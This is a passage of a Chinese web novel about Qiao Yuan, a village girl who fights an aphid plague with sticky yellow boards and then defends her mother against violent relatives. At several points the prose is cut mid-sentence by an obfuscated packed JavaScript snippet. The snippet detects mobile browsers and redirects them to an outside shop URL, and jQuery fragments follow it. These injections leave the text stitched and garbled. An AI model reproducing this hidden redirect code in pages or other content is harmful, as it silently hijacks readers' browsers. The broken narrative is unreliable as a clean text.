方志永道：“姑娘何出此言，我方志永在这西市也不是第一天开铺子了，八文一斗，已是极便宜的价格了。” 乔元起身，“既方老板不愿卖，我们便去寻别家了。” 对着里正二人使了眼色，几人一同出了铺子。方志勇没想到几人一言不合便走，他脸上有些挂不住，故意对着侍者说道，“以后这些几文钱的买卖就别叫我了，平白惹些不快。” 乔元走在前头，并未回身理他。 里正上前凑近问道：“元姐儿，你这是何意？” 乔元道：“里正莫急，我不过是想试试这木片最低可由几文够得，现下已有了数，我们便可在西市求购了。” 乔伯石跟在后头，语气生硬道：“方才这店铺，是西市颇有口碑的一家，若不在他家买，这么多的木片你欲上何处购得？” 乔元转头看向他，“这就要劳烦伯石叔了。” —— 西市木匠聚集的街道上，有人敲起了锣鼓，声音阵阵，引得四周店铺里的人争相探出头来观看。 敲鼓的是个中年男人，他身旁跟着个小姑娘，在他们后头，还站了个老者。 这样奇怪的搭配倒是有些少见，有不少路过的人好奇地凑了过来，想看看他们这是要做什么。 锣鼓又响了一阵，见人来的差不多了，乔伯石将锣鼓一收，往后退了一步，留下乔元一人立在人群中间。 乔元手里捏着块同黄板差不多大小的木片，见众人目光都汇聚在她身上，乔元将木片高高举起，朗声道：“诸位乡亲，各位皆知今年蚜害成灾，四散各地，民不聊生。可庆的是，我们金石县的周知县想了个治蚜害的法子，现下向西市的各位木匠求购木片，如我手上大小，六文一斗，来者不拒。” 乔元所言一出，人群马上炸开了锅。 “这是有治蚜子的法子了？” “姑娘你说的可是真的，六文一斗，多少都要？” “她莫不是骗人的罢，这治蚜子和木片有什么关系？” 乔元听尽众人的耳语，她又道：“青天白日，我在街市上冒充县衙的人可没什么好处。各位若是不信，不如现在就拿些木片来，我现下就能给钱。” “不过我话可说在前头，谁家先来，便有机会同县衙做长久的生意，信或不信，各位还请尽早决断。” 六文一斗倒也不算压价，比之更吸引人的是能和县衙做长久的生意。 周围店铺里、摊位上的木匠一听，哪里还顾得上别的，忙找出一斗子差不多大小的木片，急急的就迎了上来。 “姑娘，这是我家店铺的木片，姑娘看可堪用。” “让开，是我们荣生木店先来的，姑娘，你来看看我们的如何。” “让让，让让，姑娘快瞧瞧我家的，我可把我家留存的木片都带了过来。” 在外围凑热闹的方志永自然也听见了几人所说，他本以为这几人就是想压价买些木片自用，不料他们做的却是官府的生意。 深觉自己错过了一笔横财，他忙回到店铺里，见侍者还躲在一旁偷懒，他踹上一脚道：“愣着干什么，还不快端着木片跟我一齐过去。” 此时的乔元面前已挤满了人，乔元吩咐他们排好，亲自筛选了一轮，再让那些过关了的人去找乔伯石登记，并签下她让乔伯石事先写好的订购合同。 “姑娘，看看我家的木片如何。”身旁突兀的响起一道声音。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“说是知县想出了一个治蚜子的法子，让他们在西市收购木片，被选上的，便能和县衙长期合作。” 江稷闻言，转过身来，眼尾上挑道：“楚津，你信这话吗？” “属下不知。” 江稷接着道：“周进那个蠢货，除了吃喝什么也不会，若不是他舅父，他早就不知道被发配去何处了，他能想出什么法子来。” 楚津躬身，一时不知该如何接话。 “这话是那女子说的？”江稷又问道。 “正是。” 这蚜害是连州里都解决不了的问题，已经上报朝堂多日都无人敢言，周进手下还能有如此人物能解决这蚜害？ 江稷起了兴致，他倒想看看这女子能有什么法子。他道：“你去查一查今早在县衙里发生了什么，还有这个女子，盯紧她，若她再和周进接触，事无巨细皆来禀报。” “是。” 16. 回村 乔元一行人回到石湾村，已是戌时。劳累了一日，刚到村口，老牛就撅着蹄子不愿再走。乔元在夜风里清醒几分，拍了拍脸爬下车。 “伯石叔，你先送里正回去吧，我家离的近，拐过这一处便到了。”乔元道。 里正见乔元已经拿好了包裹，道：“入了夜怎能让你独自行走，元姐儿你等等，待老牛歇上一会儿，便能将你送回去。” 乔元不愿麻烦，她收拾好东西，将一直捧在手里的盒子交给里正。 “这些银锭，事关我们石湾村的来日，我年岁小管不了这许多钱财，烦请里正代为保管。” 这银锭是知县给的，里正从没动过要拿的心思，没想到乔元会如此说，他道：“元姐儿，这是你凭本事得的，怎能交由我手？” “这虽是我带回来的，但这钱却是为了整个金台县百姓拿的，还请里正莫要推脱。” 见乔元说的郑重，里正心下感慨万千，他不再推辞，伸手接过装有银锭的盒子。 “元姐儿这般心肠，来日定为人称颂。” 三十六块银锭，除却今日在西市交付给匠人们的定金，还余下三十三块。里正手捧盒子，像是在对待什么珍宝，端正双手举着，久久不愿放下。 挥手同二人告别，乔元独自踏上另一条归家的路。 春日的夜晚，除了草丛里偶有的几声虫鸣，其余时候都是静悄悄的。银辉洒满大地，月色下的路途很是清晰。乔元背着包袱，踏着月色往家里走去。 远远见着有人拿着一支火把走过来，火把照亮他的周身，乔元看得清楚，来人正是自家大哥乔长平。 乔元往前快走了几步，跨进光里，道：“哥。” 乔长平将握着火把的手微微抬高了些，免得烫到乔元，他带着笑意道：“我打远处瞧着就像二妹妹，离得远怕万一错认唐突了，便不敢高声喊，如今走近一看，果真是妹妹。” 乔家人向来睡的早，少见这个时辰还在外头晃的，乔元奇道：“哥哥今日怎的这么晚了还在外头？” 乔长平看向她，“你未归家，家里可是有人能睡着？” 妹妹从未出门这么久过，阿娘在家中担心了一整日，傍晚十分见她还未归家，便叫了他在这儿守着，直等接到妹妹才能回来。 “如今接到你，我算是能归家了。”乔长平假意叹道。 听乔长平如此说，乔元言语中带了些歉意，“劳烦哥哥了。” “这话说的见外。”乔长平怕乔元当真，接过她手中的包袱道：“不逗你了，就算阿娘不说，我也是会来的。” 说罢，乔长平走在前头帮乔元亮着路，兄妹俩一齐回到家中。 两人回到家，家里还点着灯。乔永言年纪小先睡下了，乔满山和周素两人则等在堂屋，见她完好无损的回来了，他们的吊在嗓子眼的心这才重新落了回去。 周素拿出早早就温在灶台上的饭，端到乔元面前道：“元姐儿饿了罢，阿娘给你温好了饭，你快来吃一口。” 县城里的东西难免价贵，今天时间紧任务重，乔元哪里顾得上吃饭，啃了几口周素放在包里的干馍，便是一顿饱饭。 现如今终于到家，乔元卸了些肩头的压力，坐在烛火下，被家人围着，好好的吃了顿饱饭。 乔家几人坐在一旁听着她今日的见闻，眼里俱是自豪。他们家的元姐儿，真是了不得，出门一趟，便能得到知县大人的另眼相待。 吃完饭，乔满山包揽了剩下的活儿，乔元则被几人勒令赶紧去休息。 知道家人是为她好，乔元也不推辞，擦完身子上完药，便一觉安然睡到天明。 翌日。 昨晚休息的不错，再加上郎中娘子配的药压住了背上的胀痛，乔元今晨醒过来时，觉得身子舒爽了不少。 和周素打了声招呼，乔元便往地里走去。 昨日不在家，也不知道地里的蚜害如何了。 石湾村的第一批黄板在沾完蚜子两日后，便被归拢到一起全部焚烧了，现在这一批已经是第二批了。 一路急行到地里，乔元一下地便开始观察田间地头的黄板，黄板上的蚜虫数量虽没有一开始那么夸张，但还是超出了正常阈值。 不过好在地里头的麦苗瞧着比之前精神了不少，总归是在好转的。 “咚咚咚——”有人在榆树下敲鼓，乔元一听便知是她和里正约定的时间到了，忙赶了过去。 待到三岔路口的榆树下，里正已经候在那儿了，周边围满了村民，大家你看我我看你，只等着里正发话。 见乔元来了，里正笑着拉她到正中心来，道：“大家静一静，今日有件大事宣布。” “昨日我同元姐儿到县衙见了知县，知县听闻我们石湾村蚜害治的好，便将做黄板的活儿发到了我们石湾村。从今日开始，家里空闲的，不论男女老少，一日七十文，全都可以来做黄板，做出的黄板由县衙收购，届时再送到金台县各处治蚜。” 人群“哗——”的一下炸开锅，没人想到这样的好事会落到自己头上。 “里正，一日七十文，你莫不是在开玩笑罢。” 县城里的佣工，每天从早忙到晚，一日也只得一百文。他们在家做些黄板，就能拿到七十文，这和天上掉钱有什么区别。 人群乐开了花，不住的有人在下头喊。 “多谢里正。” “多谢里正。” 难得村子里有这样的好事发生，里正也满脸笑意，他道：“谢我作甚，这主意是元姐儿同知县提的，大家该谢她才是，若不是她，这样的好事儿也轮不到咱们石湾村头上。” 里正的话一出，站在一旁的乔元登时成了人群的焦点，村民各个都对她投来感激的目光，一些婶子上来就拉着她的手一个劲儿的夸，说她这人打小看着就聪明，语气之肉麻听的乔元耸起肩就想逃。 好容易人群渐渐散去，乔元扶着里正刚想往回走，便见乔伯石风尘仆仆的赶了过来。 昨天他们已经商议好了，里正和乔元负责组织村民，乔伯石则去江明渡的鱼市采购鱼杂。 里正见他过来，道：“伯石，事情办的如何了？” 乔伯石行了一礼，“不负所望。” 里正放心下来，现如今只等着材料一到，石湾村的第一批黄板便可开始制作了。 两日后。 今日石湾村的村口，可谓是是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377366|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车水马龙。牛车送着一车一车的材料过来，堵的村道上是水泄不通。里正同乔伯石一起在村口清点，确认无误，便即刻将剩下的银钱结了。 钱货两讫，西市上的店家无一不面带喜色的离开。 东西照吩咐送到了事先准备好的场地上，乔元指挥人将材料分门别类放好，确认东西全部到齐，她这才开始教大家如何制作黄板。 事到如今，黄板的制作方法已不是秘密，但为了让石湾村人至少能吃饱这第一桶金，乔元还是同大家定好，这法子除了本村人，谁都不能告诉。 村民们不傻，白捡钱的日子可不是天天有的，哪有自己不赚这钱反倒让他人赚去的道理。众人俱表示绝不往外乱透一个字。 村民们被分成了三组，手巧些的负责裁剪黄布，力气大些的则负责清洗和熬制鱼胶，剩下的人，便负责将黄布和木片组装起来。 除了鱼胶的熬制需要乔元亲自盯着，别的事情乔元示范过一次，村民便都学会了。 周素和乔长平去去各处盯着防止意外，石湾村的村民开始风风火火制作这第一批黄板。 大家难得和谐的聚在一起，场地上一时间欢声笑语不断。 就这样一直忙碌到傍晚，村民们才有些恋恋不舍的离开。 这活计可比在烈日下种田舒服了多了，赚的还不少，若日日都能有这样的活干就好了。 待人走的差不多了，乔元才去各处检查。角落里已经放了两桶熬好的鱼胶，另一处靠墙的地方堆了一堆比小丘还高的黄板。 这么多东西，乔元光走着看都得费上一会儿功夫，难以想象是只一日功夫做出来的。 她看的有些咋舌，咱这劳动人民也太能劳动了。 做出来的第一批黄板，乔元有自己的规划。 反正这黄板是治金台县蚜害的，石湾村也属金台县，这匹黄板便先用来将自己村的旧黄板换下，若有剩余，再拉去离的最近的古崖村。 先前黄板供给紧张，只够分给集中地里的村民，现下产量上来，乔元同里正商议过，凡是住在石湾村附近的人，统统都能分到黄板。 如此一来，便能彻底杜绝蚜害复发的可能。 昨日忙的晚，趁着夜色再挂黄板便不太合适，第二日凌晨，乔元挑了几个手脚麻利又细心的，学着她一起刷鱼胶。刷完鱼胶的黄板，没一会儿就被送到了地里。 有了先前挂黄板的经验，这回村民们动起来可谓是是驾轻就熟，眨眼的功夫石湾村田地里的黄板就焕然一新。 旧的黄板被换下来之后，全都被摞到无人的角落里，由专人负责，一把火带着蚜子烧的干干净净。 挂完黄板后，乔元照例下地检查了一番，确认没有问题，便带着剩下的黄板跟着里正一齐去了隔壁的古崖村。 古崖村虽名义上在隔壁，但石湾村一行人走起来也要费上一番功夫。这一次一共带出来十五个人，有负责拉鱼胶和黄板的，还有乔元教了能刷鱼胶的。 金台县村庄太多，村落之间也很是分散，趁着这次机会，乔元教会他们挂黄板的方法和技巧。 在接下去的这段时间里，这批人将会成为石湾村给各村送黄板的主力军。 17. 古崖村 里正提前派人去古崖村打了招呼，穿过一片树林，乔元远远就瞧见一行七八人站在村口等候。 牛车渐近，村口石碑上书的‘古崖’二字，便也显现在众人眼前。 二字铁画银钩，笔力虬劲，很有气魄。 路上闲来无事，乔元听里正说起过，这古崖村原来并非此名。 之所以得名古崖，是因为村子后头一方极为险峻的断崖，相传前朝有将军被叛军追赶至此，坠崖为村民所救，为表谢意，将军在重回朝堂后，不仅赠上诸多金银，还为村子重新题写了村名。 不知是否受到这前朝传说的影响，古崖村人，皆以习武为荣。 牛车在村口停下，为首之人见里正到了，大笑着迎了上来“上方兄，收到你的消息，我便早早带人到此处候着了，生怕错过了你去。” 许是习武的关系，来人瞧着比里正年轻不少，腰身挺的笔直，步履很是矫健。 里正被乔元扶着从牛车上下来，“劳镇怀久候，实是对不住。” 陈镇怀摆头示意道：“这是哪里的话，你为了民生大计而来，我站这会儿且算什么。” “快，快先进罢。”陈镇怀引着里正往前走去，走了几步后又道：“对了，怎的不见伯石？” 往日他来，身边总是跟着乔伯石。大家都戏说，上方兄没有子嗣，正好伯石爹也在早年先去了，不如就将伯石过继了来当个继子，也好让这石湾村的里正后继有人。 里正道：“且不说他，伯石在村里还有的忙，今日我带了这治蚜的功臣来了。” 说罢，他将乔元往前一推，“元姐儿，这位便是这古崖村的里正，你可称他为镇怀叔。那日去县里面见知县，你镇怀叔有事告了假，故而你们没有见过。” 乔元上前行了一礼，“镇怀叔。” 陈镇怀略略点头，没分丝毫目光给乔元，仿佛她就是个走过场的人，他面向里正道：“既伯石没来，那我便先引你进去歇息罢。” 这点子冷遇还不够乔元放心上，她跟在里正后头，大大方方的走了进去。 古崖村虽毗邻石湾村，但村内布构和环境却是大不相同。 石湾村人少地稀，大都的田地大都聚在一处，但古崖村光集中的的田地便有三四块，分散在村庄各处，间隔稍远。 事不宜迟，他们带了这么多家伙什，得赶在黄昏前将黄板布置好。 同里正打了招呼，乔元便先带人赶去最近的一处田地。 陈镇怀派的人走在前头给乔元一行人带路，不一会儿就到了地方。 乔元率先下地查看麦苗的情况，剩下在田埂上的石湾村人，则找了块空地将东西卸下，开始就地将鱼胶刷在黄板上。 古崖村没有河流经过，村民灌溉多靠的是村中井水，土壤湿度不高，蚜害倒是比石湾村轻上不少，乔元估摸着一亩二十五张黄板的量就够用了。 放眼望去，古崖村这一处的田地便是石湾村的两倍，这事儿光靠他们十几个人可不行，还得让古崖村的村民自己个来动手。 “劳驾将村民们唤到一处，我好讲解这黄板的用法。”乔元对着引路人道。 引路人是陈镇怀的亲信名唤陈朗，他耷拉着眉眼道：“眼下大家都在地里忙活，聚起来可是要费些功夫的，姑娘有事便同我说罢，别白白耽误了春耕。” “怎么，你们里正没说我是来做什么的？”乔元冷道。 陈朗道：“说是说了，不过你个姑娘家，做这些事情始终不如男人。不如你回去换了伯石来，我同他熟，想必他也比你更懂些。” 石湾村人是知道乔元厉害的，这次跟出来的十几个人都亲自跟乔元学过治蚜的手艺，见陈朗如此冷待乔元，大家面上都带了点愠色。 “是吗？”乔元抬眸看着他，唇角重新扬起弧度。 她回身道：“既如此，烦请诸位将东西重新收拾上去，我们便装车回去罢。” “哎哎——”陈朗道，“我只说让你回去换了伯石来，可没说连带着东西都要带回去。” 乔元装作犯难道：“我正是要回去换了伯石叔来，不过这桶里的东西，熬出来可放不了太久，既我得回去换他，等伯石叔来时，这桶里的胶也怕是不能用了，我不如一趟带回去省事。” 见乔元一行人直接将卸下的东西重新装车，陈朗这才有些慌了，他道：“何必如此麻烦。” “不麻烦，我们石湾村同你们古崖村本就同气连枝，哪有麻烦这一说。”乔元笑的很是温良。 本来东西才卸下一部分，现下众人带着怒气，重新装车速度很快，不一会儿牛车队就又恢复成了来时的样子。 乔元坐上牛车，对着陈朗道：“且让让，我这就回去换伯石叔来。” 陈朗急的抹了把面，在他们古崖村，自古就没有女人说话的份，今日见石湾村的领头是个年纪如此小的姑娘，他便生了轻慢之心。 让一个女人来治蚜子，这传出去得多让人抬不起头。 可此刻乔元一行人往外走是实打实的，陈朗忙上前去拦，“行了，你快回来罢，我这就帮你喊人去。” 乔元坐在牛车上，充耳未闻。 陈朗边跟着牛车走，边在乔元耳边说话。“我这可是让了一大步了，天色将晚，你回去换伯石也来不及，不如你先在这儿做着，我派人去喊他来也一样。” 眼见牛车已经快走到陈镇怀家了，现下他正在院里同石湾村的里正喝茶。 陈朗心头有些着急上火，自家里正与石湾村里正交好，若这事儿被他办砸了，他都不敢想以后怎么在有颜面再在村里头呆下去。 车上的乔元自然也知道到了地方，她神色自若，还甚是有心情的同跟她一车的几个刷鱼胶的姑娘笑谈起来。 一行人的动静很大，不多时里正就从院里出来看。 他道：“元姐儿，怎的这样快，那头田地的黄板已经插好了？” 乔元笑道：“里正宽心，那里头的地板结了不好插，我们正打算先去别的地儿呢。” 里正点点头，未觉不妥道：“那便辛苦你了。” 乔元看了眼陈朗道：“还未下地劳作，算不得辛苦。” 陈朗在一边连连赔笑，背上被冷汗浸透，他生怕这姑娘直接就将他拿将她的事儿抖落了出去。 别过里正，乔元一行人的车轱辘轴接连着往村外走，陈朗脸上连强撑起来的笑容也没了。 不是，玩儿真的啊！ 他急急冲上到前头，拦住乔元的牛车，深躬一礼道：“乔姑娘，方才是我有眼无珠冒犯姑娘了，姑娘既是来治蚜害的，烦请姑娘可怜则个，先行去地里罢。” 乔元用手撑着下巴，一派闲适，“还是不了，我一介女儿身，哪里管得了古崖村这偌大的田地。” 眼见牛车又要往外走，陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔元下地看了他们分管的各处麦田，黄板插的又整齐高度又合适，看来她可以安心放手了。 —— 石湾村西。 离着村子莫约有三四里路的角落，有着一间稍显破败的茅屋。 此刻茅屋前的台阶上，正金刀阔马地坐着一个男人。 男人单手随意地撑在地上，另一只手里握着一块黄色的木片，木片上带有粘胶，面上沾了些蚜子。 他骨节分明的手将木片翻动着，神色里透着一丝探究。 有人从屋里走出来，面有长须，两鬓斑白。若乔元在场，定能认出他是那日在陈吉处见过的老人。 纪师脚步轻健，上前踢了男人两脚，“起来，帮我将这些柴火劈了。” 江稷回头，笑道：“我可是堂堂巡检使，你叫我劈柴？” 纪师面色不变，“就是你爹来了，今天也得给我把这柴劈了。” 江稷笑的无奈，“行，我这便去。” 说罢，他拿着黄板，对纪师道：“对了，这东西哪里来的？” 纪师抬眸看了一眼，“今日陈吉送来的，说是石湾村现在各处都在发放，用来治蚜子的。” “可知这东西是谁做的？”江稷又问道。 纪师想了想今日陈吉所说，“似是陈吉好友的女儿，叫……乔元。” 江稷听完，若有所思的点头。 这人有些意思，手上这黄板看着简单，治蚜效果却是立竿见影。 看来，他得找个机会同她接触。 18. 变故 被陈朗耽误了不少功夫，乔元一行人紧赶慢赶，终是在入夜前将古崖村的田间地头都插满了黄板。 黄板按例两天换一次，下次就不需要乔元再跟着过来了，她带来的这一批人已经可以游刃有余地应对此间情况。 大旱过后又逢蚜害，各家各户过的都很是拮据，陈镇怀让人备了些寻常的人家的力气饭。大家勉强吃了个饱，也就回到了石湾村。 刚至村口，就见乔伯石已经候在了这儿。 车队停了下来，里正奇道：“伯石，你怎的在这儿，可是村里出什么事了？” 乔伯石对里正行了一礼，“村里一切正常，夜路难行，我是来接里正回去的。” 他这话一出，就有人跟着赞道：“伯石对里正当真是纯孝。” “那是自然，但凡里正有事，伯石都是第一个来的。” “伯石将村里的大小事务管的井井有条，如今又有元姐儿带我们制黄板赚钱，这日子过的是越来越有盼头了。” “正是呢，说起来元姐儿今日可真给我们石湾村长脸，那陈朗后面别提有多客气了。” 今日去古崖村里正没让他跟着，乔伯石等在这儿，本就存了些想让人瞧见的心思。 他立于一旁正听得众人夸赞，却不料大家口风一变，竟是夸起乔元来了。乔伯石面色一沉，没想到风头被乔元夺了去，他的脸上有些不太好看。好在天色已晚，众人光顾着说话，也无人注意到这点子细节。 乔元打从一开始就在盯着乔伯石看，他的神色变化被她尽收眼底。嘴角露出些许笑意，乔元继续默不作声地看乔伯石表演。 乔伯石偏头重新调整了心绪，这才笑着说道：“说的是哪里话，这本就是我该做的。” 将载着里正的牛车牵好，他又道：“大家今日辛苦，就由我送里正回去罢。” 里正闻言，心头快慰道：“那便劳烦伯石将我送回家中，今日劳烦大家了，就早些散了罢。” “是。” 乔伯石转而看向乔元，“元姐儿，今日同里正出门当真是麻烦你了，明日还是由我来罢。” 这是生怕她抢了他在里正面前的好呢。 乔元不戳破他，点头道：“那便辛苦伯石叔了。” 乔伯石又向众人一礼，“先告辞了。” 说罢，便牵着牛车而去。 人群中，零星听得几句夸赞乔伯石当真良善的言语，众人也四散归家去了。 今日行人众多，乔元本以为应该看不到乔长平，不料进了村，他还是等在老地方。 兄妹俩相携回到家中，周素照例给她温着饭食，豆大的烛火在黑夜里闪烁，透着橘黄色的光芒，照着小小的屋子很是温馨。 乔元在古崖村已经用过饭了，但看周素一脸殷切，她不好拒绝，便又接过来吃了几口。好在周素准备的是些好克化的东西，吃下去也不算负担。 趁着乔元吃饭的功夫，周素从屋内拿出一张红纸，笑道：“元姐儿今日回来晚，娘有一桩喜事说与你听呢。” 乔元喝着汤水道：“阿娘，是什么喜事？” 周素道：“你可还记得你的秀表姐？” 乔元在脑子里思索一番，似是有些记忆。 “她怎的了？” 周素笑的很是开怀，“早前你姨妈来信说，你秀表姐正和一户人家相看，现如今，两家人定下来了，说是三天后成亲，叫我们一家子都去观礼呢。” “这倒是件喜事，怪不得阿娘这么高兴。”乔元将碗底的汤汁喝干净。 周素将红纸放好，看着乔元，“如今你秀表姐有了着落，阿娘就在想，我家元姐儿也这般大了，且不知会嫁入哪家呢。” 乔元面色僵了僵，道：“不急，我还小。” 周素好脾气道：“你再小，明年也要及笄，是时候开始相看了。不过不论如何，谁娶了我家元姐儿，就是谁家有顶顶福气。” 乔元略有些无奈，周素对她的爱真的满的都快溢出来了。 她从小就和爷爷奶奶一起生活，从来没感受过这样的母爱，周素对她的爱令她无以为报，那她也就只能尽力对她好些，再好些。 第二日鸡鸣十分，乔家人便起了床。 现下蚜害好了不少，乔长平便没去制黄板，他跟着乔满山重新回到地里。两人在地里头种些合时宜的鲜蔬瓜果，等到了夏天，拉到集市上也能卖出不少钱。 乔伯石昨晚揽了送黄板的活，乔元便多出了些空闲时间，她照例先去地里转上一圈，看看蚜害的情况，然后再去制黄板的地方。 石湾村的黄板制作已经步入正轨，有了一开始定下的条例，就算乔元不在，黄板每日的产量也尤为可观。 日头渐渐升起，今日乔元落得自在，便窝在人群里帮着将黄布订到木片上。 忽的，有人急急忙忙跑了进来，大喊道：“元姐儿可在？” 乔元抬头，是住她家隔壁的王婶，她直起身道：“我在这儿，婶子这是怎么了？” 王婶忙上前拉着她的手道：“快些，你快回家去，你家出事了！” 闻言，乔元心头‘咯噔’一下。 今晨他们几个都出来了，周素本想跟着她一道来制黄板，可乔元体谅她辛苦，便叫她只呆在家里休息便是。 …… 乔元脑中登时一团乱麻，她顾不得什么，拔腿就跑。 留王婶自顾在后头喊道：“元姐儿，你慢些跑仔细摔着，已经有人去喊你爹回家了。” 一路喘着粗气，乔元抄近道跑回家。 还没进家门，就听得屋内碗碟碎裂的声音。 顺手抄上院子里的木棒，乔元顾不得别的，气势汹汹地冲进了屋里。 日头高起，屋内的光线比外头暗上一大截，乔元微眯了眯眼，才适应了屋里的亮度。 待她看清屋内的一切，一时间手上的青筋接连爆起，怒火中烧。 原本经由周素精心布置的小家，此时被砸的七零八落。桌椅板凳都被踢翻，柜子里的碗筷也被砸在了地上。便是叛军入城，也大抵就是这样了。 来不及管这些东西，乔元粗略扫了一眼找不到周素，便往接着里屋走去。 里屋也被翻了个底朝天，周素和乔满山的衣物都被翻了出来。衣服上被踩满脚印，脏乱不堪。 在里屋也没看到人，乔元正想往外走，便见周素陪嫁箱子前的帘布动了动。 不清楚后头是谁，乔元心头有些紧张。她双手握紧木棒，深吸一口气给自己壮胆，在默数三二一后，猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451331|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的上前掀开帘子，却见躲在帘后的不是别人，正是周素。 周素窝在陪嫁箱子的角落里，一侧脸颊红肿，正低头默默流着眼泪。 见是她来，周素顾不得掩住红肿的脸颊，忙道：“元姐儿，你快走，去找你爹，千万别回来。” “阿娘，到底发生了什么事？”乔元急忙放下木棍，蹲到周素面前。 此刻乔元心头满是怒气，她阿娘是这么好的一个人，是谁打了她又是谁把家里砸成这副模样。 她耐着性子道：“阿娘别怕，我来时没见到家里有人，贼人应是走了。” 周素却不再言语，只一个劲儿的推她走。 两人的推搡的动静有些大，不多时，就见从外头进来衣衫破败的一男一女。 女人比周素高上许多，破败的衣衫更显得她身材臃肿，脸颊上的两坨肥肉随着她的动作，抖动地很是明显。 男人却是高瘦，他的衣服和裤腿短出一大截，想是偷拿了谁家不合身的衣服。乔元仔细打量着对方，莫名觉得他的眉宇之间有些像乔满山。 吴玉梅啐了身旁的男人一口，道：“我就说听得有人说话，原来是你家这死丫头回来了。” 乔元从地上直起身，重新拿起木棍挡在周素面前，开口冰冷道：“你们是谁？” 吴玉梅看向她，同身旁的男人笑道：“这是岁数大了，连自己的亲大伯和大伯娘都不认识了。” 乔元道：“我可没见过有谁人的大伯和大伯娘，冲到弟弟家打人的。” 吴玉梅被她一呛，怒气‘噌’一下就涌了上来，她立马冲到乔元面前道：“死丫头，你算个什么东西，也敢同我叫嚣，今日就是你爹来了，他也只有跪下认错的份。” 说罢，她将右手高高抬起，就想扇乔元一巴掌。坐在地上的周素看到这一幕，疯似地冲了上来将吴玉梅推开，她自己也因为力的相互作用摔倒在地。 乔元接周素不及，只能眼睁睁见她摔倒在地，她忙上前扶起周素，“阿娘，你觉得怎么样，可是有哪里不舒服，你等着，我马上去叫郎中来。” 周素摆摆手，“元姐儿，先别管这些，这里有阿娘，你快出去。” 吴玉梅被周素推了一下，同样摔倒在地，她在地上呻吟好几声，这才骂道：“乔满仓，你是死人吗？就这样见着我被人欺负！？” 乔满仓这才回过神来，他蹲下忙扶起吴玉梅，悄声道：“你同孩子置什么气，别忘了我们今日来的目的。” 吴玉梅刀似的剜了他一眼，“她周素的孩子我还教训不得了？” 说罢，她起身，趁着乔元回身在同周素说话的功夫，捡起地上的棍子就往乔元脑袋上砸。 “下作娼妇生的贱种，就让你伯娘我教教你什么是规矩。” 乔元只觉得天灵盖上‘嗡’的一下，一阵剧痛袭来，眼前一阵天旋地转。她脚步踉跄，直接半跪在地上。 突发的变故让周素一时间失了言语，眼看吴玉梅还想再打一下，她没有犹豫半分，便扑倒乔元身后想帮她挡着吴玉梅的棍子。 “别打了，别打了。” 耳朵有些短暂性的失聪，乔元整个人像是浸在水里一般，听不清几人的言语。脑袋上有些凉意，她抬手一模，红色的血液沾满了手心。 19. 变故（二） 打的周素连连求饶，吴玉梅才觉得解了气，她将棍子一丢，随意坐在里屋的床榻之上道：“既挨了打，你们母女两可老实些把钱交出来，别等下闹的愈发难看。” 周素扑在乔元身后，帮她挡去了大半的棍子，她顾不得背上的疼痛，只抱着身下的乔元道：“元姐儿，你怎么样了？快告诉阿娘。” 吴玉梅那一棍打的乔元发蒙，耳边响着尖锐的刺鸣声。 乔元看着周素，她只见到了她娘张嘴，却听不清她在说些什么。 后脑勺上受吴玉梅一棍的地方，从一开始的剧痛已经演变成了一阵阵的刺痛，血还在汩汩往外冒，从后脑经由她的额头，一滴一滴落到了地上。 闭上眼喘息片刻，乔元伸手随意地将额头上的血抹掉，然后直起身。此刻她的脑内混沌一片，痛到不能思考。但不妨碍她还能动，甩了甩手，她往吴玉梅所在的方向走去。 “元姐儿，你这是干什么去！”周素想伸手拉她，奈何幅度过大一时拉扯到了背上的棍伤，竟是没拉住。 吴玉梅见乔元往自己这方向走，她又对着乔元啐了一口，张嘴说了什么，接着笑地前俯后仰。 乔元听不清，但看吴玉梅这样笑，她站在离她半尺的地方，也这样笑着看着她。 额头的血迹被乔元胡乱抹了一把，现下她的半张脸都被血糊着，她盯着吴玉梅一直笑，看的吴玉梅头皮有些发麻。 “你这个小贱种，你这样盯着我做什么！”吴玉梅见乔元不说话，从榻上起身，上来就想给乔元一巴掌。 哪知乔元比她更快，她弯腰躲过吴玉梅伸来的手，一拳捶到了她肚子上。 吴玉梅抱着肚子，疼的大叫一声。 乔元不给她喘息的机会，抄起地上的棍子对着吴玉梅的脖颈间就敲了下去。 她力气小，想在短时间内制服比她强壮上许多的人，只能挑着人的短处打。 吴玉梅受了力，有些发狂，她顾不得脖颈间的疼痛，想起身冲上来把乔元撕了。乔元哪里会给她这样的机会，她一脚踹上吴玉梅的腹部，直接将她踹翻在地。 屋里空间不大，吴玉梅疼的在地上打滚，乔元提着棍子就砸在了吴玉梅身上。 